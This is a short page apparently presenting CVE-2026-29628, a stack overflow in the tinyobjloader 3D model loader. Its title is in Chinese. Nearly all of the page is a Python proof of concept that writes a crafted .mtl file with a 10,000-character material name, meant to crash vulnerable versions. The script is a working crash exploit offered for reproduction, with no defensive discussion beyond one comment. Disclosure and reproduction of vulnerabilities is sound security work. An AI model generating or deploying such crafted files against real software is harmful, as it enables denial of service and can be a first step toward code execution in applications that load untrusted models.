CVE-2026-29628: tinyobjloader栈溢出漏洞

import os # PoC for CVE-2026-29628 # Generates a crafted .mtl file designed to trigger stack overflow def generate_malicious_mtl(filename): # The payload contains a long string to overflow the buffer # Adjust length based on the specific stack size in tinyobj_loader_opt.h overflow_size = 10000 junk = "A" * overflow_size # Constructing the malicious content # The vulnerability triggers when parsing material names or properties malicious_content = f"newmtl {junk}\n" with open(filename, "w") as f: f.write(malicious_content) print(f"[+] Malicious .mtl file generated: {filename}") if __name__ == "__main__": generate_malicious_mtl("exploit_CVE_2026_29628.mtl") # Note: Load this file with the vulnerable tinyobjloader version to reproduce the crash.